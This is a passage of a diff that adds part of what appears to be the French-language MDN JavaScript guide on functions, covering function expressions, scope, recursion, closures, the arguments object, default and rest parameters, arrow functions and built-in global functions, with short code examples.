+<p><strong>Note :</strong> Affecter un nouvel objet au paramètre n'aura <strong>pas</strong> d'effet en dehors de la fonction car cela revient à changer la valeur du paramètre plutôt que la valeur d'une des propriétés de l'objet. Par exemple :</p>
+</div>
+
+<pre class="brush: js">function maFonction(monObjet) {
+  monObjet = {fabricant: "Ford", modèle: "Focus", année: 2006};
+}
+
+var mavoiture = {fabricant: "Honda", modèle: "Accord", année: 1998};
+var x, y;
+
+x = mavoiture.fabricant;     // x reçoit la valeur "Honda"
+
+maFonction(mavoiture);
+y = mavoiture.fabricant;     // y reçoit la valeur "Honda"
+</pre>
+
+<p>Dans le premier exemple, l'objet <code>mavoiture </code>était passé à la fonction <code>maFonction</code> qui le modifiait. Dans le second exemple, la fonction n'a pas modifié l'objet qui avait été passé en argument, elle a créé une nouvelle variable locale, possédant le même nom que l'objet global passé en argument : il n'y a donc pas de modifications sur cet objet global.</p>
+
+<h3 id="Les_expressions_de_fonction">Les expressions de fonction</h3>
+
+<p>Syntaxiquement, la déclaration de fonction utilisée ci-dessus est une instruction. On peut également créer une fonction grâce à une <strong><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">expression de fonction</a></strong>. De telles fonctions peuvent être <strong>anonymes</strong> (ne pas avoir de nom correspondant). La fonction <code>carré </code>aurait pu être définie de la façon suivante :</p>
+
+<pre class="brush: js">var carré = function (nombre) { return nombre * nombre };
+var x = carré(4); //x reçoit la valeur 16</pre>
+
+<p>Cependant, un nom peut être utilisé dans une expression de fonction, ce afin de l'utiliser dans la fonction (récursivité) ou afin de l'identifier dans les appels tracés par un éventuel débogueur :</p>
+
+<pre class="brush: js">var factorielle = function fac(n) { return n &lt; 2 ? 1 : n * fac(n - 1) };
+
+console.log(factorielle(3));
+</pre>
+
+<p>Les expressions de fonction sont pratiques lorsqu'il s'agit de passer une fonction comme argument d'une autre fonction. Dans l'exemple qui suit, la fonction <code>map</code> est définie et appelée avec une fonction anonyme comme premier argument :</p>
+
+<pre class="brush: js">function map(f, a) {
+  var resultat = []; // Créer un nouveau tableau Array
+  for (var i = 0; i != a.length; i++)
+    resultat[i] = f(a[i]);
+  return resultat;
+}
+</pre>
+
+<p>Le code suivant applique la fonction <code>cube</code> sur chacun des éléments du tableau :</p>
+
+<pre class="brush: js">var cube = function(x) { return x * x * x}; // Une expression de fonction
+map(cube, [0, 1, 2, 5, 10]);
+</pre>
+
+<p>Le résultat de la dernière instruction est le tableau [0, 1, 8, 125, 1000].</p>
+
+<p>En JavaScript, une fonction peut être définie selon une condition. Le fragment de code qui suit définit une fonction seulement si <code>num</code> vaut 0 :</p>
+
+<pre class="brush: js">var maFonction;
+if (num === 0){
+  maFonction = function(monObjet) {
+    monObjet.fabricant = "Toyota"
+  }
+}</pre>
+
+<p>Une autre façon de définir des fonctions est d'utiliser le constructeur de l'objet {{jsxref("Function")}} afin de créer des fonctions à partir d'une chaîne lors de l'exécution, de la même façon que {{jsxref("Objets_globaux/eval", "eval()")}}.</p>
+
+<p>Une <strong>méthode</strong> est une fonction étant une propriété d'un objet. Vous trouverez plus de détails sur ces éléments dans le chapitre suivant du guide : <a href="/fr/docs/JavaScript/Guide/Utiliser_les_objets">Utiliser les objets</a>.</p>
+
+<h2 id="Appeler_des_fonctions">Appeler des fonctions</h2>
+
+<p>La seule définition d'une fonction ne permet pas d'exécuter la fonction. Cela permet de lui donner un nom et de définir ce qui doit être fait lorsque la fonction est appelée. <strong>Appeler</strong> la fonction permet d'effectuer les actions des instructions avec les paramètres indiqués. Par exemple, si on définit la fonction <code>carré</code>, on peut l'appeler de la façon suivante :</p>
+
+<pre class="brush: js">carré(5);
+</pre>
+
+<p>Cette instruction appellera la fonction avec un argument valant 5. La fonction exécute ses instructions et renvoie la valeur 25.</p>
+
+<p>Les fonctions doivent appartenir à la portée dans laquelle elles sont appelées. En revanche, la déclaration d'une fonction peut être faite après l'appel :</p>
+
+<pre class="brush: js">console.log(carré(5));
+/* ... */
+function carré(n) { return n*n }
+</pre>
+
+<p>La portée d'une fonction est la fonction dans laquelle elle est déclarée ou le programme entier si elle est déclarée au niveau le plus haut.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cela ne fonctionne que si la définition de la fonction utilise la syntaxe précédente (<code>function nomFonction(){}</code>). Le code ci-dessous ne fonctionnera pas :</p>
+</div>
+
+<pre class="example-bad brush: js">console.log(carré); // La fonction carré est remontée/hoisted mais vaut undefined
+console.log(carré(5)); // TypeError: carré is not a function
+var carré = function (n) {
+  return n * n;
+}
+
+// Et avec let...
+
+console.log(carré2); // ReferenceError: carré2 is not defined
+console.log(carré2(5)); // TypeError: carré2 is not a function
+
+let carré2 = function (n) {
+  return n * n;
+}
+</pre>
+
+<p>Les arguments d'une fonction ne sont pas limités aux chaînes de caractères et aux nombres. Il est possible de passer des objets. La fonction <code>show_props</code> (définie dans le chapitre sur <a href="/fr/docs/JavaScript/Guide/Utiliser_les_objets">l'utilisation des objets</a>) est un exemple de fonction utilisant un argument qui est un objet.</p>
+
+<p>Une fonction peut être récursive, c'est-à-dire qu'elle peut s'appeler elle-même. Voici la fonction qui calcule récursivement la factorielle d'un nombre :</p>
+
+<pre class="brush: js">function factorielle(n){
+  if ((n === 0) || (n === 1))
+    return 1;
+  else
+    return (n * factorielle(n - 1));
+}
+</pre>
+
+<p>On peut ensuite calculer les factorielles des nombres 1 à 5 :</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorielle(1); // a reçoit la valeur 1
+b = factorielle(2); // b reçoit la valeur 2
+c = factorielle(3); // c reçoit la valeur 6
+d = factorielle(4); // d reçoit la valeur 24
+e = factorielle(5); // e reçoit la valeur 120
+</pre>
+
+<p>Il existe d'autres façons d'appeler des fonctions. Il existe souvent des cas où une fonction doit être appelée dynamiquement, où le nombre d'arguments peut varier, où le contexte de l'appel d'une fonction doit être créé en fonction d'un objet déterminé lors de l'exécution. Les fonctions sont des objets, en tant que tels, elles possèdent des méthodes (voir la page sur l'objet {{jsxref("Function")}}). L'une d'entre elles, {{jsxref("Function.apply","apply()")}} peut être utilisée pour réaliser le dernier cas de figure (exécution d'une fonction avec un objet déterminé à l'exécution).</p>
+
+<h2 class="deki-transform" id="Portée_d'une_fonction">Portée d'une fonction</h2>
+
+<p>On ne peut pas accéder aux variables définies dans une fonction en dehors de cette fonction : ces variables n'existent que dans la portée de la fonction. En revanche, une fonction peut accéder aux différentes variables et fonctions qui appartiennent à la portée dans laquelle elle est définie. Une fonction définie dans une autre fonction peut également accéder à toutes les variables de la fonction « parente » et à toute autre variable accessible depuis la fonction « parente ».</p>
+
+<pre class="brush: js">// Les variables suivantes sont globales
+var num1 = 20,
+    num2 = 3,
+    nom = "Licorne";
+
+// Cette fonction est définie dans la portée globale
+function multiplier() {
+  return num1 * num2;
+}
+
+multiplier(); // Renvoie 60
+
+// Un exemple de fonction imbriquée
+function getScore () {
+  var num1 = 2,
+      num2 = 3;
+
+  function ajoute() {
+    return nom + " a marqué " + (num1 + num2);
+  }
+
+  return ajoute();
+}
+
+getScore(); // Renvoie "Licorne a marqué 5"
+</pre>
+
+<h2 id="Portée_et_pile_de_fonctions">Portée et pile de fonctions</h2>
+
+<h3 id="La_récursivité">La récursivité</h3>
+
+<p>Une fonction peut faire référence à elle-même et s'appeler elle-même. Il existe trois moyens pour qu'une fonction fasse référence à elle-même :</p>
+
+<ol>
+ <li>Le nom de la fonction</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/callee">arguments.callee</a></code></li>
+ <li>Une variable de la portée qui fait référence à la fonction</li>
+</ol>
+
+<p>Par exemple, avec la définition de fonction suivante :</p>
+
+<pre class="brush: js">var toto = function truc() {
+   // les instructions de la fonction
+};</pre>
+
+<p>Dans le corps de la fonction, ces trois éléments seront équivalents :</p>
+
+<ol>
+ <li><code>truc()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>toto()</code></li>
+</ol>
+
+<p>Une fonction qui s'appelle elle-même est appelée une fonction <em>récursive</em>. Sous certains aspects, une récursion est semblable à une boucle : toutes les deux exécutent le même code plusieurs fois et toutes les deux requièrent une condition d'arrêt (pour éviter une boucle ou une récursion infinie). Par exemple, ce fragment de code utilisant une boucle :</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" représente la condition d'arrêt
+  // faire quelque chose
+  x++;
+}</pre>
+
+<p>pourra être converti en une fonction récursive de la façon suivante :</p>
+
+<pre class="brush: js">function boucle(x) {
+  if (x &gt;= 10) // "x &gt;= 10" représente la condition d'arrêt (équivalent à "!(x &lt; 10)")
+    return;
+  // faire quelque chose
+  boucle(x + 1); // l'appel récursif
+}
+boucle(0);</pre>
+
+<p>Malgré cela, certains algorithmes ne peuvent pas être convertis en boucles itératives. Ainsi, récupérer l'ensemble des nœuds d'un arbre (le <a href="/fr/docs/Web/API/Référence_du_DOM_Gecko">DOM</a> par exemple) se fait plus simplement en utilisant la récursivité :</p>
+
+<pre class="brush: js">function parcourirArbre(noeud) {
+  if (noeud === null) //
+    return;
+  // faire quelque chose avec le noeud
+  for (var i = 0; i &lt; noeud.childNodes.length; i++) {
+    parcourirArbre(noeud.childNodes[i]);
+  }
+}</pre>
+
+<p>Contrairement à l'exemple précédent avec la fonction <code>boucle</code>, ici, chaque appel récursif entraîne lui-même plusieurs appels (et non un seul).</p>
+
+<p>Théoriquement, il est possible de convertir tout algorithme récursif en un algorithme non récursif (avec des boucles par exemple). Généralement, la logique obtenue est plus complexe et nécessite l'utilisation d'une <a href="https://fr.wikipedia.org/wiki/Pile_%28informatique%29">pile</a>. La récursivité utilise également une pile, la pile de fonction.</p>
+
+<p>Ce type de « comportement » peut-être observé avec l'exemple suivant :</p>
+
+<pre class="brush: js">function toto(i) {
+  if (i &lt; 0)
+    return;
+  console.log('début : ' + i);
+  toto(i - 1);
+  console.log('fin : ' + i);
+}
+toto(3);</pre>
+
+<p>qui affichera :</p>
+
+<pre class="brush: js">début : 3
+début : 2
+début : 1
+début : 0
+fin : 0
+fin : 1
+fin : 2
+fin : 3</pre>
+
+<h3 id="Fonctions_imbriquées_et_fermetures">Fonctions imbriquées et fermetures</h3>
+
+<p>Il est possible d'imbriquer une fonction dans une autre fonction. La portée de la fonction fille (celle qui est imbriquée) n'est pas contenue dans la portée de la fonction parente. En revanche, la fonction fille bénéficie bien des informations de la fonction parente grâce à sa portée. On a ce qu'on appelle une fermeture (<em>closure</em> en anglais). Une fermeture est une expression (généralement une fonction) qui accède à des variables libres ainsi qu'à un environnement qui lie ces variables (ce qui « ferme » l'expression).</p>
+
+<p>Une fonction imbriquée étant une fermeture, cela signifie qu'une fonction imbriquée peut en quelque sorte hériter des arguments et des variables de la fonction parente.</p>
+
+<p>En résumé :</p>
+
+<ul>
+ <li>La fonction imbriquée ne peut être utilisée qu'à partir des instructions de la fonction parente.</li>
+</ul>
+
+<ul>
+ <li>La fonction imbriquée forme une fermeture : elle peut utiliser les arguments et les variables de la fonction parente. En revanche, la fonction parente ne peut pas utiliser les arguments et les variables de la fonction fille.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Sur les fermetures, voir également <a href="/fr/docs/Web/JavaScript/Closures">l'article à ce sujet</a>.</p>
+</div>
+
+<p>L'exemple qui suit illustre l'imbrication de fonctions :</p>
+
+<pre class="brush: js">function ajouteCarrés(a, b) {
+  function carré(x) {
+    return x * x;
+  }
+  return carré(a) + carré(b);
+}
+a = ajouteCarrés(2,3); // renvoie 13
+b = ajouteCarrés(3,4); // renvoie 25
+c = ajouteCarrés(4,5); // renvoie 41</pre>
+
+<p>La fonction interne étant une fermeture, on peut appeler la fonction parente afin de définir les arguments pour la fonction englobante et ceux de la fonction fille :</p>
+
+<pre class="brush: js">function parente(x) {
+  function fille(y) {
+    return x + y;
+  }
+  return fille;
+}
+fn_fille = parente(3); // Fournit une fonction qui ajoute 3 à ce qu'on lui donnera
+résultat = fn_fille(5); // renvoie 8
+
+résultat1 = parente(3)(5); // renvoie 8</pre>
+
+<h3 id="Préservation_des_variables">Préservation des variables</h3>
+
+<p>Dans l'exemple précédent, <code>x</code> a été « préservé » lorsque la fonction <code>fille</code> a été renvoyée. Une fermeture conserve les arguments et les variables de chaque portée qu'elle référence. Chaque appel à la fonction parente pouvant fournir un contexte différents selon les arguments, cela entraînera la création d'une nouvelle fermeture. La mémoire associée ne pourra être libérée que lorsque la fonction <code>fille</code> ne sera plus accessible.</p>
+
+<p>Ce mode de fonctionnement n'est pas différent de celui des références vers les objets. Cependant, il est souvent plus compliqué à détecter car les références ne sont pas définies explicitement dans le code et car il n'est pas possible de les inspecter.</p>
+
+<h3 id="Imbriquer_plusieurs_fonctions">Imbriquer plusieurs fonctions</h3>
+
+<p>Il est possible d'imbriquer des fonctions sur plus de deux niveaux, par exemple, on peut avoir une fonction A qui contient une fonction B qui contient une fonction C. Les fonctions B et C sont des fermetures et B peut accéder à la portée de A, C peut accéder à la portée de B. Ainsi, C accède à la portée de B qui lui accède à la portée de A, C accède donc à la portée de A (transitivité). Les fermetures peuvent donc contenir plusieurs portées, c'est ce qu'on appelle le <em>chaînage</em> de portées.</p>
+
+<p>Par exemple :</p>
+
+<pre class="brush: js">function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // affichera 6 (1 + 2 + 3)</pre>
+
+<p>Dans cet exemple <code>C</code> accède au <code>y</code> de <code>B</code> et au <code>x</code> de <code>A</code>. Ceci est rendu possible car :</p>
+
+<ol>
+ <li><code>B</code> est une fermeture qui contient <code>A</code>, autrement dit <code>B</code> peut accéder aux arguments et aux variables de <code>A</code>.</li>
+ <li><code>C</code> est une fermeture qui contient <code>B</code>.</li>
+ <li>La fermeture de <code>B</code> contient <code>A</code> donc la fermeture de <code>C</code> contient <code>A</code>, <code>C</code> peut ainsi accéder aux arguments et aux variables de <code>B</code> <em>et</em> <code>A</code>. On dit que <code>C</code> <em>chaîne</em> les portées de <code>B</code> et de <code>A</code> (dans cet ordre).</li>
+</ol>
+
+<p>La réciproque n'est pas vraie. <code>A</code> ne peut pas accéder à <code>C</code>, car <code>A</code> ne peut pas accéder aux arguments ou aux variables de <code>B</code>, or <code>C</code> est une variable de <code>B</code>. De cette façon, <code>C</code> reste privée en dehors de <code>B</code>.</p>
+
+<h3 id="Conflits_de_nommage">Conflits de nommage</h3>
+
+<p>Lorsque deux arguments ou variables des portées d'une fermeture ont le même nom, il y a un conflit de noms. Dans ces cas, ce sera la portée la plus imbriquée qui prendra la priorité sur le nom, la portée la plus « externe » aura la priorité la plus faible pour les noms de variables. Du point de vue de la chaîne des portées, la première portée sur la chaîne est la portée la plus imbriquée et la dernière est la portée située le plus à l'extérieur :</p>
+
+<pre class="brush: js">function externe() {
+  var x = 10;
+  function interne(x) {
+    return x;
+  }
+  return interne;
+}
+résultat = externe()(20); // renvoie 20 et pas 10</pre>
+
+<p>Le conflit se produit à l'instruction <code>return x</code> entre le paramètre x de la fonction <code>interne</code> et la variable <code>x</code> de la fonction <code>externe</code>. La chaîne de portée est ici {<code>interne</code>, <code>externe</code>, objet global}. Ainsi, le paramètre <code>x</code> de <code>interne</code> a la priorité sur la variable <code>x</code> de la fonction <code>externe</code>, le résultat obtenu est donc 20 et non 10.</p>
+
+<h2 id="Fermetures_(closures)">Fermetures (<em>closures</em>)</h2>
+
+<p>Les fermetures sont l'une des fonctionnalités les plus intéressantes de JavaScript. Comme on l'a vu précédemment, JavaScript permet d'imbriquer des fonctions et la fonction interne aura accès aux variables et paramètres de la fonction parente. À l'inverse, la fonction parente ne pourra pas accéder aux variables liées à la fonction interne. Cela fournit une certaine sécurité pour les variables de la fonction interne. De plus, si la fonction interne peut exister plus longtemps que la fonction parente, les variables et fonctions de la fonction parente pourront exister au travers de la fonction interne. On crée une fermeture lorsque la fonction interne est disponible en dehors de la fonction parente.</p>
+
+<pre class="brush: js">var animal = function(nom) {   // La fonction externe utilise un paramètre "nom"
+  var getNom = function () {
+    return nom;                // La fonction interne accède à la variable "nom" de la fonction externe
+  }
+  return getNom;               // Renvoie la fonction interne pour la rendre disponible en dehors de la portée de la fonction parente
+}
+
+monAnimal = animal("Licorne");
+
+monAnimal();                   // Renvoie "Licorne"</pre>
+
+<p>Bien entendu, dans la pratique, les cas peuvent être plus complexes. On peut renvoyer un objet qui contient des méthodes manipulant les variables internes de la fonction parente.</p>
+
+<pre class="brush: js">var créerAnimal  = function (nom) {
+  var sexe;
+
+  return {
+    setNom: function(nouveauNom) {
+      nom = nouveauNom;
+    },
+
+    getNom: function () {
+      return nom;
+    },
+
+    getSexe: function () {
+      return sexe;
+    },
+
+    setSexe: function(nouveauSexe) {
+      if (typeof nouveauSexe == "string" &amp;&amp; (nouveauSexe.toLowerCase() == "mâle" || nouveauSexe.toLowerCase() == "femelle")) {
+        sexe = nouveauSexe;
+      }
+    }
+  }
+}
+
+var animal = créerAnimal("Licorne");
+animal.getNom();        // Licorne
+
+animal.setNom("Bobby");
+animal.setSexe("mâle");
+animal.getSexe();       // mâle
+animal.getNom();        // Bobby</pre>
+
+<p>Dans le code précédent, la variable <code>nom</code> est de la fonction externe est accessible depuis les fonctions internes. Il est impossible d'accéder aux variables internes en dehors des fonctions internes. Les variables internes agissent comme des coffres-forts pour les fonctions internes. Elles permettent d'avoir un accès persistent et encapsulé aux données internes. Pour les fonctions, il n'est pas nécessaire de les affecter à une variable ou même de les nommer.</p>
+
+<pre class="brush: js">var getCode = (function (){
+  var codeAPI = "0]Eal(eh&amp;2";    // Un code qu'on ne souhaite pas diffuser ni modifier
+
+  return function () {
+    return codeAPI;
+  };
+})();
+
+getCode();    // Renvoie la valeur du code</pre>
+
+<p>Il y a malgré tout quelques pièges auxquels il faut faire attention lorsqu'on utilise les fermetures. Si une fonction imbriquée définit une variable avec le même nom que le nom d'une variable de la portée externe, il n'y aura plus aucun moyen d'accéder à la variable.</p>
+
+<pre class="brush: js">var créerAnimal = function(nom) {  // La fonction externe définit une variable appelée "nom"
+  return {
+    setNom: function(nom) {    // La fonction imbriquée définit une variable appelée "nom"
+      nom = nom;               // ??? comment accéder à la variable "nom" définie par la fonction externe
+    }
+  }
+}</pre>
+
+<p>L<code>'opérateur </code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this"><code>this</code></a> doit être traité avec précaution dans les fermetures. Attention, <code>this</code> fait référence au contexte où la fonction est appelée et non à l'endroit où il est défini.</p>
+
+<h2 id="Utiliser_l'objet_arguments">Utiliser l'objet <code>arguments</code></h2>
+
+<p>Les arguments d'une fonction sont maintenus dans un objet semblable à un tableau. Dans une fonction, il est possible d'utiliser les arguments passés à la fonction de la façon suivante :</p>
+
+<pre class="brush: js">arguments[i]</pre>
+
+<p>où <code>i</code> représente l'index ordinal de l'argument (le premier argument ayant un indice à 0). On accède donc au premier argument avec <code>arguments[0]</code>. Le nombre total d'arguments est fourni grâce à <code>arguments.length</code>.</p>
+
+<p>En utilisant l'objet <code>arguments</code>, il est possible de recenser les arguments supplémentaires fournis à la fonction si jamais il y a plus d'arguments fournis que requis. Cet objet est souvent utile si on ne connaît pas le nombre d'arguments passés à la fonction. La propriété <code>arguments.length</code> permet de déterminer le nombre d'arguments réellement passés à la fonction. On peut donc ensuite accéder aux différents arguments en parcourant l'objet <code>arguments</code>.</p>
+
+<p>Par exemple, on peut construire une fonction qui concatène plusieurs chaînes. Le seul argument formellement défini sera la chaîne utilisée pour concaténer les différentes chaînes. On peut définir la fonction de la façon suivante :</p>
+
+<pre class="brush: js">function monConcat(séparateur) {
+   var result = ""; // on initialise la liste
+   var i;
+   // on parcourt les arguments
+   for (i = 1; i &lt; arguments.length; i++) {
+      result += arguments[i] + séparateur;
+   }
+   return result;
+}</pre>
+
+<p>On peut passer autant d'arguments que nécessaire à cette fonction. Ils seront tous concaténés dans une chaîne finale. Ainsi, on aura :</p>
+
+<pre class="brush: js">// renverra "rouge, orange, bleu, "
+monConcat(", ", "red", "orange", "blue");
+
+// renverra "éléphant; girafe; lion; singe; "
+monConcat("; ", "éléphant", "girafe", "lion", "singe");
+
+// renverra "sauge. basilic. origan. poivre. échalotte. "
+monConcat(". ", "sauge", "basilic", "origan", "poivre", "échalotte");</pre>
+
+<div class="note">
+<p><strong>Note :</strong> <code>arguments</code> est une variable « semblable » à un tableau. Mais ce n'est pas un tableau au sens strict. En effet, il possède un index numéroté ainsi qu'une propriété <code>length</code>. En revanche, il ne possède pas les méthodes classiques de manipulation des tableaux (Array).</p>
+</div>
+
+<p>Voir la page sur l'objet {{jsxref("Function")}} dans la référence JavaScript pour plus d'informations.</p>
+
+<h2 id="Paramètres_des_fonctions">Paramètres des fonctions</h2>
+
+<p>À partir d'ECMAScript 2015, deux sortes de paramètres sont introduites : les paramètres par défaut et les paramètres du reste.</p>
+
+<h3 id="Les_paramètres_par_défaut">Les paramètres par défaut</h3>
+
+<p>En JavaScript, par défaut, les paramètres des fonctions vaudront <code>undefined</code>. Il peut toutefois être utile de définir une valeur par défaut différente. Les paramètres par défaut permettent de répondre à ce besoin.</p>
+
+<p>Avant ECMAScript 2015, la stratégie pour manipuler des valeurs par défaut adaptées était de tester si la valeur du paramètre était indéfinie puis de lui affecter la valeur souhaitée si c'était le cas. Par exemple, dans le code qui suit, on ne fournit pas de valeur pour <code>b</code> dans l'appel, la valeur sera <code>undefined</code> lors de l'évaluation de <code>a*b</code> et l'appel à <code>multiplier</code> aurait renvoyé <code>NaN</code>. Pour éviter ça, la deuxième ligne définit une valeur par défaut au cas où <code>b</code> n'est pas renseigné :</p>
+
+<pre class="brush: js">function multiplier(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a*b;
+}
+
+multiplier(5); // 5
+</pre>
+
+<p>Si on peut utiliser les paramètres par défaut, il n'est plus nécessaire de faire l'opération à l'intérieur du corps de la fonction, il suffit de déclarer que la valeur par défaut pour <code>b</code> est 1 dans la signature de la fonction :</p>
+
+<pre class="brush: js">function multiplier(a, b = 1) {
+  return a*b;
+}
+
+multiplier(5); // 5</pre>
+
+<p>Pour plus de détails, voir <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">la page sur les paramètres par défaut</a> dans la référence.</p>
+
+<h3 id="Les_paramètres_du_reste">Les paramètres du reste</h3>
+
+<p>La syntaxe des <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">paramètres du reste</a> permet de représenter un nombre indéfini d'arguments contenus dans un tableau. Dans l'exemple suivant, on utilise les paramètres du reste pour collecter les arguments à partir du deuxième et jusqu'au dernier. Ces arguments sont multipliés par le premier. Dans cet exemple, on utilise une fonction fléchée, concept qui est présenté et illustré dans la section qui suit.</p>
+
+<pre class="brush: js">function multiplier(facteur, ...lesArgs) {
+  return lesArgs.map(x =&gt; facteur * x);
+}
+
+var arr = multiplier(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<h2 id="Fonctions_fléchées">Fonctions fléchées</h2>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">Une expression de fonction fléchée</a> permet d'utiliser une syntaxe plus concise que les expressions de fonctions classiques. Une telle fonction ne possède alors pas de valeur propre pour <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/super">super</a></code> ou <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target">new.target</a></code>. Les fonctions fléchées sont nécessairement anonymes.</p>
+
+<p>Les fonctions fléchées ont été introduites pour deux raisons principales : une syntaxe plus courte et l'absence de <code>this</code> rattaché à la fonction. Voir aussi <a href="https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees">ce billet sur tech.mozfr.org sur les fonctions fléchées</a>.</p>
+
+<p> </p>
+
+<p> </p>
+
+<h3 id="Concision_de_la_syntaxe">Concision de la syntaxe</h3>
+
+<p>Dans certaines constructions fonctionnelles, on peut apprécier une syntaxe courte. Par exemple, si on compare les deux dernières lignes de ce fragment de code :</p>
+
+<pre class="brush: js">var a = [
+  "Hydrogen",
+  "Helium",
+  "Lithium",
+  "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+console.log(a2); // affiche [8, 6, 7, 9]
+var a3 = a.map( s =&gt; s.length );
+console.log(a3); // affiche [8, 6, 7, 9]</pre>
+
+<h3 id="Pas_de_this_distinct">Pas de <code>this</code> distinct</h3>
+
+<p>Avant les fonctions fléchées, chaque nouvelle fonction définissait sa propre valeur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code> (un nouvel objet dans le cas d'un constructeur, <code>undefined</code> lors des appels en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, l'objet courant dans le cas d'une méthode, etc.). Cela pouvait poser quelques problèmes avec un style de programmation orienté objet.</p>
+
+<pre class="brush: js">function Personne() {
+  // Le constructeur Personne() utilise `this` comme lui-même.
+  this.âge = 0;
+
+  setInterval(function grandir() {
+    // En mode non-strict, la fonction grandir() définit `this`
+    // avec l'objet global, qui est donc différent du `this`
+    // défini par le constructeur Person().
+    this.âge++;
+  }, 1000);
+}
+
+var p = new Personne();</pre>
+
+<p>Avec ECMAScript 3/5, ce problème fut résolu avec l'affectation de la valeur de <code>this</code> dans une variable a variable that could be closed over.</p>
+
+<pre class="brush: js">function Personne() {
+  var self = this; // Certains utilisent `that`, d'autres `self`.
+                   // On utilisera l'un des deux et on pas
+                   // l'autre pour être cohérent.
+  self.âge = 0;
+
+  setInterval(function grandir() {
+    // La fonction callback fait référence à la variable `self`
+    // qui est bien la valeur attendue liée à l'objet.
+    self.âge++;
+  }, 1000);
+}</pre>
+
+<p>On aurait aussi pu créer une fonction liée afin que la « bonne » valeur de <code>this</code> soit passée à la fonction <code>grandir()</code>.</p>
+
+<p>Les fonctions fléchées capturent la valeur de <code>this</code> dans le contexte englobant et cela permet de manipuler la valeur pertinente ici :</p>
+
+<pre class="brush: js">function Personne(){
+  this.âge = 0;
+
+  setInterval(() =&gt; {
+    this.âge++; // this fait référence à l'objet personne
+  }, 1000);
+}
+
+var p = new Personne();</pre>
+
+<h2 id="Fonctions_prédéfinies">Fonctions prédéfinies</h2>
+
+<p>JavaScript possède plusieurs fonctions natives, disponibles au plus haut niveau :</p>
+
+<dl>
+ <dt>{{jsxref("Objets_globaux/eval","eval()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>eval()</strong></code> permet d'évaluer du code JavaScript contenu dans une chaîne de caractères.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/uneval","uneval()")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>La fonction <code><strong>uneval()</strong></code> crée une représentation sous la forme d'une chaîne de caractères pour le code source d'un objet.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/isFinite","isFinite()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>isFinite()</strong></code> détermine si la valeur passée est un nombre fini. Si nécessaire, le paramètre sera converti en un nombre.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/isNaN","isNaN()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>isNaN()</strong></code> détermine si une valeur est {{jsxref("NaN")}} ou non. Note : On pourra également utiliser {{jsxref("Number.isNaN()")}} défini avec ECMAScript 6 ou utiliser <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof">typeof</a></code> afin de déterminer si la valeur est <em><strong>N</strong>ot-<strong>A</strong>-<strong>N</strong>umber</em>.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/parseFloat","parseFloat()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>parseFloat()</strong></code> convertit une chaîne de caractères en un nombre flottant.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/parseInt","parseInt()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>parseInt()</strong></code> convertit une chaîne de caractères et renvoie un entier dans la base donnée.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/decodeURI","decodeURI()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>decodeURI()</strong></code> décode un Uniform Resource Identifier (URI) créé par {{jsxref("Objets_globaux/encodeURI","encodeURI()")}} ou une méthode similaire.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/decodeURIComponent","decodeURIComponent()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>decodeURIComponent()</strong></code> décode un composant d'un Uniform Resource Identifier (URI) créé par {{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent")}} ou une méthode similaire.</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/encodeURI","encodeURI()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>encodeURI()</strong></code> encode un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par un, deux, trois voire quatre séquences d'échappement représentant l'encodage UTF-8 du caractères (quatre séquences seront utilisées uniquement lorsque le caractère est composé d'une paire de deux demi-codets).</p>
+ </dd>
+ <dt>{{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent()")}}</dt>
+ <dd>
+ <p>La fonction <code><strong>encodeURIComponent()</strong></code> encode un composant d'un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par un, deux, trois voire quatre séquences d'échappement représentant l'encodage UTF-8 du caractères (quatre séquences seront utilisées uniquement lorsque le caractère est composé d'une paire de deux demi-codets).</p>
+ </dd>
